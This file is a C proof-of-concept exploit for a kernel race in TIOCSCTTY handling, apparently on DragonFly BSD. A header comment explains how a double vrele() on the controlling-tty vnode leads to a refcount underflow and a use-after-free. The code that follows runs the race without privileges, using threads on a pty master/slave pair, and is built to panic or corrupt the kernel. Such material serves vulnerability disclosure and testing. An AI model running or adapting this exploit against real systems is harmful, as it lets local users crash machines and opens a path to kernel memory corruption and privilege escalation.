/*
 * DF-2755 — TIOCSCTTY s_ttyvp unsynchronized read-modify-write race
 *           -> double vrele() of the old controlling-tty vnode
 *           -> v_refcnt underflow -> premature vnode destruction (UAF)
 *
 * Unprivileged local PoC.
 *
 * The TIOCSCTTY post-processing in the vnode layer performs, on success:
 *
 *   devfs twin (sys/vfs/devfs/devfs_vnops.c:1595-1611, NO lock at all):
 *   vn_ioctl twin (sys/kern/vfs_vnops.c:1039-1054, mplock only — which
 *                 excludes neither twin nor the s_ttyvp clearers):
 *
 *      if (sess->s_ttyvp == vp) return;   -- early-out
 *      ovp = sess->s_ttyvp;               -- racy read
 *      vref(vp);                          -- contended atomic
 *      sess->s_ttyvp = vp;                -- racy store
 *      if (ovp) vrele(ovp);               -- paired release
 *
 * All tty fds land on devfs_dev_fileops (devfs VOP_OPEN switches f_ops at
 * devfs_vnops.c:1078), so the reachable twin is the unlocked devfs one.
 * ttioctl's gate (tty.c:1181) passes for the session leader whenever
 * tp->t_session == p->p_session — sticky for the pty lifetime.
 *
 * Two threads of the session leader whose fds resolve to DIFFERENT vnodes
 * of the same tty (pty MASTER vnode vs pty SLAVE vnode) make the slot
 * ping-pong.  Whenever two same-side threads both read the same ovp before
 * either stores, both vrele() it: the s_ttyvp slot accounted exactly one
 * reference, two are released -> v_refcnt underflow.  A couple of hits on
 * a vnode whose live references are the slot + one open fd drive v_refcnt
 * to 0 while the fd is still open -> premature vnode destruction ->
 * use-after-free (type confusion on recycle).
 *
 * Build:  cc -O2 -pthread -o df2755 df2755.c
 * Run (unprivileged): ./df2755 [threads_per_side] [seconds]
 * Expected: kernel panic (INVARIANTS "vref: bad refcnt" / lockmgr /
 *           devfs), a wedged ioctl (lock on destroyed vnode), or silent
 *           corruption surfacing in the churn phase.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/types.h>

static volatile int stop;
static volatile unsigned long long niter[2];
static int fdm, fdS;

static void *
racer(void *arg)
{
	unsigned long long local = 0;
	long side = (long)arg;
	int fd = side ? fdS : fdm;
	int zero = 0;

	while (!stop) {
		ioctl(fd, TIOCSCTTY, &zero);
		local++;
	}
	__sync_fetch_and_add(&niter[side], local);
	return NULL;
}

int
main(int argc, char **argv)
{
	int per_side = (argc > 1) ? atoi(argv[1]) : 3;
	int seconds  = (argc > 2) ? atoi(argv[2]) : 60;
	pthread_t th[128];
	char pts[128];
	int zero = 0;
	int i, n;

	alarm(seconds + 60);	/* hard exit if the kernel wedges */

	if (setsid() < 0) {
		perror("setsid");
		return 1;
	}
	fdm = posix_openpt(O_RDWR | O_NOCTTY);
	if (fdm < 0) { perror("posix_openpt"); return 1; }
	{
		char *p = ptsname(fdm);
		if (!p) { perror("ptsname"); return 1; }
		snprintf(pts, sizeof(pts), "%s", p);
	}
	fdS = open(pts, O_RDWR | O_NOCTTY);
	if (fdS < 0) { perror("open slave"); return 1; }

	/* Arm the slot: s_ttyvp = slave vnode; both fds stay open forever. */
	if (ioctl(fdS, TIOCSCTTY, &zero) != 0) {
		perror("ioctl(fdS, TIOCSCTTY) arm");
		return 1;
	}
	printf("[*] leader pid %d master=%d slave=%d (%s)\n",
	       getpid(), fdm, fdS, pts);
	printf("[*] %d racer threads per side, %ds\n", per_side, seconds);
	fflush(stdout);

	if (per_side > 64) per_side = 64;
	n = 0;
	for (i = 0; i < per_side; i++) {
		pthread_create(&th[n], NULL, racer, (void *)(long)0); n++;
		pthread_create(&th[n], NULL, racer, (void *)(long)1); n++;
	}
	sleep(seconds);
	stop = 1;
	for (i = 0; i < n; i++)
		pthread_join(th[i], NULL);
	printf("[*] iterations master-side=%llu slave-side=%llu\n",
	       niter[0], niter[1]);

	/* Churn: touch both vnodes to surface any premature destruction. */
	for (i = 0; i < 1000; i++) {
		ioctl(fdm, TIOCGPGRP, &zero);
		ioctl(fdS, TIOCGPGRP, &zero);
		fcntl(fdm, F_GETFL);
		fcntl(fdS, F_GETFL);
	}
	printf("[*] churn done, exiting cleanly (no crash observed)\n");
	return 0;
}
